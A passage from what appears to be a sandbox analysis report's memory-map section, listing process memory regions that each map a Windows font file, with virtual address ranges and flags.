monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mingliu.ttc" filename = "\\Windows\\Fonts\\mingliu.ttc" (normalized: "c:\\windows\\fonts\\mingliu.ttc") Region: id = 505 start_va = 0x6d20000 end_va = 0x8d5dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mingliub.ttc" filename = "\\Windows\\Fonts\\mingliub.ttc" (normalized: "c:\\windows\\fonts\\mingliub.ttc") Region: id = 506 start_va = 0x6d20000 end_va = 0x8d5dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mingliub.ttc" filename = "\\Windows\\Fonts\\mingliub.ttc" (normalized: "c:\\windows\\fonts\\mingliub.ttc") Region: id = 507 start_va = 0x6d20000 end_va = 0x8d5dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mingliub.ttc" filename = "\\Windows\\Fonts\\mingliub.ttc" (normalized: "c:\\windows\\fonts\\mingliub.ttc") Region: id = 508 start_va = 0x6d20000 end_va = 0x8d5dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mingliub.ttc" filename = "\\Windows\\Fonts\\mingliub.ttc" (normalized: "c:\\windows\\fonts\\mingliub.ttc") Region: id = 509 start_va = 0x620000 end_va = 0x677fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "monbaiti.ttf" filename = "\\Windows\\Fonts\\monbaiti.ttf" (normalized: "c:\\windows\\fonts\\monbaiti.ttf") Region: id = 510 start_va = 0x620000 end_va = 0x677fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "monbaiti.ttf" filename = "\\Windows\\Fonts\\monbaiti.ttf" (normalized: "c:\\windows\\fonts\\monbaiti.ttf") Region: id = 511 start_va = 0x4f90000 end_va = 0x5850fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msgothic.ttc" filename = "\\Windows\\Fonts\\msgothic.ttc" (normalized: "c:\\windows\\fonts\\msgothic.ttc") Region: id = 512 start_va = 0x4f90000 end_va = 0x5850fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msgothic.ttc" filename = "\\Windows\\Fonts\\msgothic.ttc" (normalized: "c:\\windows\\fonts\\msgothic.ttc") Region: id = 513 start_va = 0x4f90000 end_va = 0x5850fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msgothic.ttc" filename = "\\Windows\\Fonts\\msgothic.ttc" (normalized: "c:\\windows\\fonts\\msgothic.ttc") Region: id = 514 start_va = 0x4f90000 end_va = 0x5850fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msgothic.ttc" filename = "\\Windows\\Fonts\\msgothic.ttc" (normalized: "c:\\windows\\fonts\\msgothic.ttc") Region: id = 515 start_va = 0x4f90000 end_va = 0x5927fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msmincho.ttc" filename = "\\Windows\\Fonts\\msmincho.ttc" (normalized: "c:\\windows\\fonts\\msmincho.ttc") Region: id = 516 start_va = 0x4f90000 end_va = 0x5927fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msmincho.ttc" filename = "\\Windows\\Fonts\\msmincho.ttc" (normalized: "c:\\windows\\fonts\\msmincho.ttc") Region: id = 517 start_va = 0x4f90000 end_va = 0x5927fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msmincho.ttc" filename = "\\Windows\\Fonts\\msmincho.ttc" (normalized: "c:\\windows\\fonts\\msmincho.ttc") Region: id = 518 start_va = 0x2d0000 end_va = 0x2e4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mvboli.ttf" filename = "\\Windows\\Fonts\\mvboli.ttf" (normalized: "c:\\windows\\fonts\\mvboli.ttf") Region: id = 519 start_va = 0x2d0000 end_va = 0x2e4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mvboli.ttf" filename = "\\Windows\\Fonts\\mvboli.ttf" (normalized: "c:\\windows\\fonts\\mvboli.ttf") Region: id = 520 start_va = 0x2d0000 end_va = 0x2e4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntailu.ttf" filename = "\\Windows\\Fonts\\ntailu.ttf" (normalized: "c:\\windows\\fonts\\ntailu.ttf") Region: id = 521 start_va = 0x2d0000 end_va = 0x2e4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntailu.ttf" filename = "\\Windows\\Fonts\\ntailu.ttf" (normalized: "c:\\windows\\fonts\\ntailu.ttf") Region: id = 522 start_va = 0x2d0000 end_va = 0x2e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntailub.ttf" filename = "\\Windows\\Fonts\\ntailub.ttf" (normalized: "c:\\windows\\fonts\\ntailub.ttf") Region: id = 523 start_va = 0x2d0000 end_va = 0x2e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntailub.ttf" filename = "\\Windows\\Fonts\\ntailub.ttf" (normalized: "c:\\windows\\fonts\\ntailub.ttf") Region: id = 524 start_va = 0x620000 end_va = 0x68afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "nyala.ttf" filename = "\\Windows\\Fonts\\nyala.ttf" (normalized: "c:\\windows\\fonts\\nyala.ttf") Region: id = 525 start_va = 0x620000 end_va = 0x68afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "nyala.ttf" filename = "\\Windows\\Fonts\\nyala.ttf" (normalized: "c:\\windows\\fonts\\nyala.ttf") Region: id = 526 start_va = 0x3f0000 end_va = 0x413fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "phagspa.ttf" filename = "\\Windows\\Fonts\\phagspa.ttf" (normalized: "c:\\windows\\fonts\\phagspa.ttf") Region: id = 527 start_va = 0x3f0000 end_va = 0x413fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "phagspa.ttf" filename = "\\Windows\\Fonts\\phagspa.ttf" (normalized: "c:\\windows\\fonts\\phagspa.ttf") Region: id = 528 start_va = 0x3f0000 end_va = 0x414fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "phagspab.ttf" filename = "\\Windows\\Fonts\\phagspab.ttf" (normalized: "c:\\windows\\fonts\\phagspab.ttf") Region: id = 529 start_va = 0x3f0000 end_va = 0x414fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "phagspab.ttf" filename = "\\Windows\\Fonts\\phagspab.ttf" (normalized: "c:\\windows\\fonts\\phagspab.ttf") Region: id = 530 start_va = 0x2d0000 end_va = 0x2edfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "plantc.ttf" filename = "\\Windows\\Fonts\\plantc.ttf" (normalized: "c:\\windows\\fonts\\plantc.ttf") Region: id = 531 start_va = 0x2d0000 end_va = 0x2edfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "plantc.ttf" filename = "\\Windows\\Fonts\\plantc.ttf" (normalized: "c:\\windows\\fonts\\plantc.ttf") Region: id = 532 start_va = 0x2d0000 end_va = 0x2e7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "raavi.ttf" filename = "\\Windows\\Fonts\\raavi.ttf" (normalized: "c:\\windows\\fonts\\raavi.ttf") Region: id = 533 start_va = 0x2d0000 end_va = 0x2e7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "raavi.ttf" filename = "\\Windows\\Fonts\\raavi.ttf" (normalized: "c:\\windows\\fonts\\raavi.ttf") Region: id = 534 start_va = 0x2d0000 end_va = 0x2e6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "raavib.ttf" filename = "\\Windows\\Fonts\\raavib.ttf" (normalized: "c:\\windows\\fonts\\raavib.ttf") Region: id = 535 start_va = 0x2d0000 end_va = 0x2e6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "raavib.ttf" filename = "\\Windows\\Fonts\\raavib.ttf" (normalized: "c:\\windows\\fonts\\raavib.ttf") Region: id = 536 start_va = 0x4bf0000 end_va = 0x4c87fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "segoesc.ttf" filename = "\\Windows\\Fonts\\segoesc.ttf" (normalized: "c:\\windows\\fonts\\segoesc.ttf") Region: id = 537 start_va = 0x4bf0000 end_va = 0x4c87fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "segoesc.ttf" filename = "\\Windows\\Fonts\\segoesc.ttf" (normalized: "c:\\windows\\fonts\\segoesc.ttf") Region: id = 538 start_va = 0x4bf0000 end_va = 0x4c83fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "segoescb.ttf" filename = "\\Windows\\Fonts\\segoescb.ttf" (normalized: "c:\\windows\\fonts\\segoescb.ttf") Region: id = 539 start_va = 0x4bf0000 end_va = 0x4c83fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "segoescb.ttf" filename = "\\Windows\\Fonts\\segoescb.ttf" (normalized: "c:\\windows\\fonts\\segoescb.ttf") Region: id = 540 start_va = 0x4b20000 end_va = 0x4b9efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "segoeui.ttf" filename = "\\Windows\\Fonts\\segoeui.ttf" (normalized: "c:\\windows\\fonts\\segoeui.ttf") Region: id = 541 start_va = 0x4b20000 end_va = 0x4b9efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "segoeui.ttf" filename = "\\Windows\\Fonts\\segoeui.ttf" (normalized: "c:\\windows\\fonts\\segoeui.ttf") Region: id = 542 start_va = 0x4b20000 end_va = 0x4b99fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "segoeuib.ttf" filename = "\\Windows\\Fonts\\segoeuib.ttf" (normalized: "c:\\windows\\fonts\\segoeuib.ttf") Region: id = 543 start_va = 0x4b20000 end_va = 0x4b99fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "segoeuib.ttf" filename = "\\Windows\\Fonts\\segoeuib.ttf" (normalized: "c:\\windows\\fonts\\segoeuib.ttf") Region: id = 544 start_va = 0x620000 end_va = 0x67efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "segoeuii.ttf" filename = "\\Windows\\Fonts\\segoeuii.ttf" (normalized: "c:\\windows\\fonts\\segoeuii.ttf") Region: id = 545 start_va = 0x620000 end_va = 0x67efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "segoeuii.ttf" filename = "\\Windows\\Fonts\\segoeuii.ttf" (normalized: "c:\\windows\\fonts\\segoeuii.ttf") Region: id = 546 start_va = 0x620000 end_va = 0x681fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "segoeuiz.ttf" filename = "\\Windows\\Fonts\\segoeuiz.ttf" (normalized: "c:\\windows\\fonts\\segoeuiz.ttf") Region: id = 547 start_va = 0x620000 end_va = 0x681fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "segoeuiz.ttf" filename = "\\Windows\\Fonts\\segoeuiz.ttf" (normalized: "c:\\windows\\fonts\\segoeuiz.ttf") Region: id = 548 start_va = 0x620000 end_va = 0x683fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "seguisb.ttf" filename = "\\Windows\\Fonts\\seguisb.ttf" (normalized: "c:\\windows\\fonts\\seguisb.ttf") Region: id = 549 start_va = 0x620000 end_va = 0x683fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "seguisb.ttf" filename = "\\Windows\\Fonts\\seguisb.ttf" (normalized: "c:\\windows\\fonts\\seguisb.ttf") Region: id = 550 start_va = 0x620000 end_va = 0x670fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "segoeuil.ttf" filename = "\\Windows\\Fonts\\segoeuil.ttf" (normalized: "c:\\windows\\fonts\\segoeuil.ttf") Region: id = 551 start_va = 0x620000 end_va = 0x670fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "segoeuil.ttf" filename = "\\Windows\\Fonts\\segoeuil.ttf" (normalized: "c:\\windows\\fonts\\segoeuil.ttf") Region: id = 552 start_va = 0x4b20000 end_va = 0x4b9efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "seguisym.ttf" filename = "\\Windows\\Fonts\\seguisym.ttf" (normalized: "c:\\windows\\fonts\\seguisym.ttf") Region: id = 553 start_va = 0x4b20000 end_va = 0x4b9efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "seguisym.ttf" filename = "\\Windows\\Fonts\\seguisym.ttf" (normalized: "c:\\windows\\fonts\\seguisym.ttf") Region: id = 554 start_va = 0x620000 end_va = 0x661fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "shruti.ttf" filename = "\\Windows\\Fonts\\shruti.ttf" (normalized: "c:\\windows\\fonts\\shruti.ttf") Region: id = 555 start_va = 0x620000 end_va = 0x661fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "shruti.ttf" filename = "\\Windows\\Fonts\\shruti.ttf" (normalized: "c:\\windows\\fonts\\shruti.ttf") Region: id = 556 start_va = 0x4a0000 end_va = 0x4d9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "shrutib.ttf" filename = "\\Windows\\Fonts\\shrutib.ttf" (normalized: "c:\\windows\\fonts\\shrutib.ttf") Region: id = 557 start_va = 0x4a0000 end_va = 0x4d9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "shrutib.ttf" filename = "\\Windows\\Fonts\\shrutib.ttf" (normalized: "c:\\windows\\fonts\\shrutib.ttf") Region: id = 558 start_va = 0x4f90000 end_va = 0x5e2dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "simsun.ttc" filename = "\\Windows\\Fonts\\simsun.ttc" (normalized: "c:\\windows\\fonts\\simsun.ttc") Region: id = 559 start_va = 0x4f90000 end_va = 0x5e2dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "simsun.ttc" filename = "\\Windows\\Fonts\\simsun.ttc" (normalized: "c:\\windows\\fonts\\simsun.ttc") Region: id = 560 start_va = 0x4f90000 end_va = 0x5e2dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "simsun.ttc" filename = "\\Windows\\Fonts\\simsun.ttc" (normalized: "c:\\windows\\fonts\\simsun.ttc") Region: id = 561 start_va = 0x4f90000 end_va = 0x5e41fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "simsunb.ttf" filename = "\\Windows\\Fonts\\simsunb.ttf" (normalized: "c:\\windows\\fonts\\simsunb.ttf") Region: id = 562 start_va = 0x4f90000 end_va = 0x5e41fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "simsunb.ttf" filename = "\\Windows\\Fonts\\simsunb.ttf" (normalized: "c:\\windows\\fonts\\simsunb.ttf") Region: id = 563 start_va = 0x4a0000 end_va = 0x4d7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sylfaen.ttf" filename = "\\Windows\\Fonts\\sylfaen.ttf" (normalized: "c:\\windows\\fonts\\sylfaen.ttf") Region: id = 564 start_va = 0x4a0000 end_va = 0x4d7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sylfaen.ttf" filename = "\\Windows\\Fonts\\sylfaen.ttf" (normalized: "c:\\windows\\fonts\\sylfaen.ttf") Region: id = 565 start_va = 0x2d0000 end_va = 0x2e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "taile.ttf" filename = "\\Windows\\Fonts\\taile.ttf" (normalized: "c:\\windows\\fonts\\taile.ttf") Region: id = 566 start_va = 0x2d0000 end_va = 0x2e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "taile.ttf" filename = "\\Windows\\Fonts\\taile.ttf" (normalized: "c:\\windows\\fonts\\taile.ttf") Region: id = 567 start_va = 0x2d0000 end_va = 0x2dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "taileb.ttf" filename = "\\Windows\\Fonts\\taileb.ttf" (normalized: "c:\\windows\\fonts\\taileb.ttf") Region: id = 568 start_va = 0x2d0000 end_va = 0x2dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "taileb.ttf" filename = "\\Windows\\Fonts\\taileb.ttf" (normalized: "c:\\windows\\fonts\\taileb.ttf") Region: id = 569 start_va = 0x4bf0000 end_va = 0x4cbbfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "times.ttf" filename = "\\Windows\\Fonts\\times.ttf" (normalized: "c:\\windows\\fonts\\times.ttf") Region: id = 570 start_va = 0x4bf0000 end_va = 0x4cbbfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "times.ttf" filename = "\\Windows\\Fonts\\times.ttf" (normalized: "c:\\windows\\fonts\\times.ttf") Region: id = 571 start_va = 0x4bf0000 end_va = 0x4c91fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "timesi.ttf" filename = "\\Windows\\Fonts\\timesi.ttf" (normalized: "c:\\windows\\fonts\\timesi.ttf") Region: id = 572 start_va = 0x4bf0000 end_va = 0x4c91fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "timesi.ttf" filename = "\\Windows\\Fonts\\timesi.ttf" (normalized: "c:\\windows\\fonts\\timesi.ttf") Region: id = 573 start_va = 0x4bf0000 end_va = 0x4cbdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "timesbd.ttf" filename = "\\Windows\\Fonts\\timesbd.ttf" (normalized: "c:\\windows\\fonts\\timesbd.ttf") Region: id = 574 start_va = 0x4bf0000 end_va = 0x4cbdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "timesbd.ttf" filename = "\\Windows\\Fonts\\timesbd.ttf" (normalized: "c:\\windows\\fonts\\timesbd.ttf") Region: id = 575 start_va = 0x4bf0000 end_va = 0x4c87fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "timesbi.ttf" filename = "\\Windows\\Fonts\\timesbi.ttf" (normalized: "c:\\windows\\fonts\\timesbi.ttf") Region: id = 576 start_va = 0x4bf0000 end_va = 0x4c87fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "timesbi.ttf" filename = "\\Windows\\Fonts\\timesbi.ttf" (normalized: "c:\\windows\\fonts\\timesbi.ttf") Region: id = 577 start_va = 0x3f0000 end_va = 0x41efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tunga.ttf" filename = "\\Windows\\Fonts\\tunga.ttf" (normalized: "c:\\windows\\fonts\\tunga.ttf") Region: id = 578 start_va = 0x3f0000 end_va = 0x41efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tunga.ttf" filename = "\\Windows\\Fonts\\tunga.ttf" (normalized: "c:\\windows\\fonts\\tunga.ttf") Region: id = 579 start_va = 0x3f0000 end_va = 0x41afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tungab.ttf" filename = "\\Windows\\Fonts\\tungab.ttf" (normalized: "c:\\windows\\fonts\\tungab.ttf") Region: id = 580 start_va = 0x3f0000 end_va = 0x41afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tungab.ttf" filename = "\\Windows\\Fonts\\tungab.ttf" (normalized: "c:\\windows\\fonts\\tungab.ttf") Region: id = 581 start_va = 0x4a0000 end_va = 0x4dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vrinda.ttf" filename = "\\Windows\\Fonts\\vrinda.ttf" (normalized: "c:\\windows\\fonts\\vrinda.ttf") Region: id = 582 start_va = 0x4a0000 end_va = 0x4dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vrinda.ttf" filename = "\\Windows\\Fonts\\vrinda.ttf" (normalized: "c:\\windows\\fonts\\vrinda.ttf") Region: id = 583 start_va = 0x4a0000 end_va = 0x4defff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vrindab.ttf" filename = "\\Windows\\Fonts\\vrindab.ttf" (normalized: "c:\\windows\\fonts\\vrindab.ttf") Region: id = 584 start_va = 0x4a0000 end_va = 0x4defff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vrindab.ttf" filename = "\\Windows\\Fonts\\vrindab.ttf" (normalized: "c:\\windows\\fonts\\vrindab.ttf") Region: id = 585 start_va = 0x620000 end_va = 0x673fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "shonar.ttf" filename = "\\Windows\\Fonts\\Shonar.ttf" (normalized: "c:\\windows\\fonts\\shonar.ttf") Region: id = 586 start_va = 0x620000 end_va = 0x673fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "shonar.ttf" filename = "\\Windows\\Fonts\\Shonar.ttf" (normalized: "c:\\windows\\fonts\\shonar.ttf") Region: id = 587 start_va = 0x620000 end_va = 0x669fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "shonarb.ttf" filename = "\\Windows\\Fonts\\Shonarb.ttf" (normalized: "c:\\windows\\fonts\\shonarb.ttf") Region: id = 588 start_va = 0x620000 end_va = 0x669fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "shonarb.ttf" filename = "\\Windows\\Fonts\\Shonarb.ttf" (normalized: "c:\\windows\\fonts\\shonarb.ttf") Region: id = 589 start_va = 0x620000 end_va = 0x673fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msyi.ttf" filename = "\\Windows\\Fonts\\msyi.ttf" (normalized: "c:\\windows\\fonts\\msyi.ttf") Region: id = 590 start_va = 0x620000 end_va = 0x673fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msyi.ttf" filename = "\\Windows\\Fonts\\msyi.ttf" (normalized: "c:\\windows\\fonts\\msyi.ttf") Region: id = 591 start_va = 0x4bf0000 end_va = 0x4c9afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tahoma.ttf" filename = "\\Windows\\Fonts\\tahoma.ttf" (normalized: "c:\\windows\\fonts\\tahoma.ttf") Region: id = 592 start_va = 0x4bf0000 end_va = 0x4c9afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tahoma.ttf" filename = "\\Windows\\Fonts\\tahoma.ttf" (normalized: "c:\\windows\\fonts\\tahoma.ttf") Region: id = 593 start_va = 0x4bf0000 end_va = 0x4c8efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tahomabd.ttf" filename = "\\Windows\\Fonts\\tahomabd.ttf" (normalized: "c:\\windows\\fonts\\tahomabd.ttf") Region: id = 594 start_va = 0x4bf0000 end_va = 0x4c8efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tahomabd.ttf" filename = "\\Windows\\Fonts\\tahomabd.ttf" (normalized: "c:\\windows\\fonts\\tahomabd.ttf") Region: id = 595 start_va = 0x4bf0000 end_va = 0x4c8ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "micross.ttf" filename = "\\Windows\\Fonts\\micross.ttf" (normalized: "c:\\windows\\fonts\\micross.ttf") Region: id = 596 start_va = 0x4bf0000 end_va = 0x4c8ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "micross.ttf" filename = "\\Windows\\Fonts\\micross.ttf" (normalized: "c:\\windows\\fonts\\micross.ttf") Region: id = 597 start_va = 0x2d0000 end_va = 0x2eafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "angsa.ttf" filename = "\\Windows\\Fonts\\angsa.ttf" (normalized: "c:\\windows\\fonts\\angsa.ttf") Region: id = 598 start_va = 0x2d0000 end_va = 0x2eafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "angsa.ttf" filename = "\\Windows\\Fonts\\angsa.ttf" (normalized: "c:\\windows\\fonts\\angsa.ttf") Region: id = 599 start_va = 0x2d0000 end_va = 0x2e9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "angsai.ttf" filename = "\\Windows\\Fonts\\angsai.ttf" (normalized: "c:\\windows\\fonts\\angsai.ttf") Region: id = 600 start_va = 0x2d0000 end_va = 0x2e9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "angsai.ttf" filename = "\\Windows\\Fonts\\angsai.ttf" (normalized: "c:\\windows\\fonts\\angsai.ttf") Region: id = 601 start_va = 0x2d0000 end_va = 0x2e9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "angsab.ttf" filename = "\\Windows\\Fonts\\angsab.ttf" (normalized: "c:\\windows\\fonts\\angsab.ttf") Region: id = 602 start_va = 0x2d0000 end_va = 0x2e9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "angsab.ttf" filename = "\\Windows\\Fonts\\angsab.ttf" (normalized: "c:\\windows\\fonts\\angsab.ttf") Region: id = 603 start_va = 0x2d0000 end_va = 0x2e9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "angsaz.ttf" filename = "\\Windows\\Fonts\\angsaz.ttf" (normalized: "c:\\windows\\fonts\\angsaz.ttf") Region: id = 604 start_va = 0x2d0000 end_va = 0x2e9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "angsaz.ttf" filename = "\\Windows\\Fonts\\angsaz.ttf" (normalized: "c:\\windows\\fonts\\angsaz.ttf") Region: id = 605 start_va = 0x4a0000 end_va = 0x4d6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "aparaj.ttf" filename = "\\Windows\\Fonts\\aparaj.ttf" (normalized: "c:\\windows\\fonts\\aparaj.ttf") Region: id = 606 start_va = 0x4a0000 end_va = 0x4d6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "aparaj.ttf" filename = "\\Windows\\Fonts\\aparaj.ttf" (normalized: "c:\\windows\\fonts\\aparaj.ttf") Region: id = 607 start_va = 0x4a0000 end_va = 0x4d4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "aparajb.ttf" filename = "\\Windows\\Fonts\\aparajb.ttf" (normalized: "c:\\windows\\fonts\\aparajb.ttf") Region: id = 608 start_va = 0x4a0000 end_va = 0x4d4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "aparajb.ttf" filename = "\\Windows\\Fonts\\aparajb.ttf" (normalized: "c:\\windows\\fonts\\aparajb.ttf") Region: id = 609 start_va = 0x4a0000 end_va = 0x4d7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "aparajbi.ttf" filename = "\\Windows\\Fonts\\aparajbi.ttf" (normalized: "c:\\windows\\fonts\\aparajbi.ttf") Region: id = 610 start_va = 0x4a0000 end_va = 0x4d7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "aparajbi.ttf" filename = "\\Windows\\Fonts\\aparajbi.ttf" (normalized: "c:\\windows\\fonts\\aparajbi.ttf") Region: id = 611 start_va = 0x4a0000 end_va = 0x4dafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "aparaji.ttf" filename = "\\Windows\\Fonts\\aparaji.ttf" (normalized: "c:\\windows\\fonts\\aparaji.ttf") Region: id = 612 start_va = 0x4a0000 end_va = 0x4dafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "aparaji.ttf" filename = "\\Windows\\Fonts\\aparaji.ttf" (normalized: "c:\\windows\\fonts\\aparaji.ttf") Region: id = 613 start_va = 0x2d0000 end_va = 0x2eafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cordia.ttf" filename = "\\Windows\\Fonts\\cordia.ttf" (normalized: "c:\\windows\\fonts\\cordia.ttf") Region: id = 614 start_va = 0x2d0000 end_va = 0x2eafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cordia.ttf" filename = "\\Windows\\Fonts\\cordia.ttf" (normalized: "c:\\windows\\fonts\\cordia.ttf") Region: id = 615 start_va = 0x2d0000 end_va = 0x2e8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cordiai.ttf" filename = "\\Windows\\Fonts\\cordiai.ttf" (normalized: "c:\\windows\\fonts\\cordiai.ttf") Region: id = 616 start_va = 0x2d0000 end_va = 0x2e8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cordiai.ttf" filename = "\\Windows\\Fonts\\cordiai.ttf" (normalized: "c:\\windows\\fonts\\cordiai.ttf") Region: id = 617 start_va = 0x2d0000 end_va = 0x2e7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cordiab.ttf" filename = "\\Windows\\Fonts\\cordiab.ttf" (normalized: "c:\\windows\\fonts\\cordiab.ttf") Region: id = 618 start_va = 0x2d0000 end_va = 0x2e7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cordiab.ttf" filename = "\\Windows\\Fonts\\cordiab.ttf" (normalized: "c:\\windows\\fonts\\cordiab.ttf") Region: id = 619 start_va = 0x2d0000 end_va = 0x2e7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cordiaz.ttf" filename = "\\Windows\\Fonts\\cordiaz.ttf" (normalized: "c:\\windows\\fonts\\cordiaz.ttf") Region: id = 620 start_va = 0x2d0000 end_va = 0x2e7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cordiaz.ttf" filename = "\\Windows\\Fonts\\cordiaz.ttf" (normalized: "c:\\windows\\fonts\\cordiaz.ttf") Region: id = 621 start_va = 0x620000 end_va = 0x66afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ebrima.ttf" filename = "\\Windows\\Fonts\\ebrima.ttf" (normalized: "c:\\windows\\fonts\\ebrima.ttf") Region: id = 622 start_va = 0x620000 end_va = 0x66afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ebrima.ttf" filename = "\\Windows\\Fonts\\ebrima.ttf" (normalized: "c:\\windows\\fonts\\ebrima.ttf") Region: id = 623 start_va = 0x620000 end_va = 0x668fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ebrimabd.ttf" filename = "\\Windows\\Fonts\\ebrimabd.ttf" (normalized: "c:\\windows\\fonts\\ebrimabd.ttf") Region: id = 624 start_va = 0x620000 end_va = 0x668fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ebrimabd.ttf" filename = "\\Windows\\Fonts\\ebrimabd.ttf" (normalized: "c:\\windows\\fonts\\ebrimabd.ttf") Region: id = 625 start_va = 0x2d0000 end_va = 0x2e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gisha.ttf" filename = "\\Windows\\Fonts\\gisha.ttf" (normalized: "c:\\windows\\fonts\\gisha.ttf") Region: id = 626 start_va = 0x2d0000 end_va = 0x2e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gisha.ttf" filename = 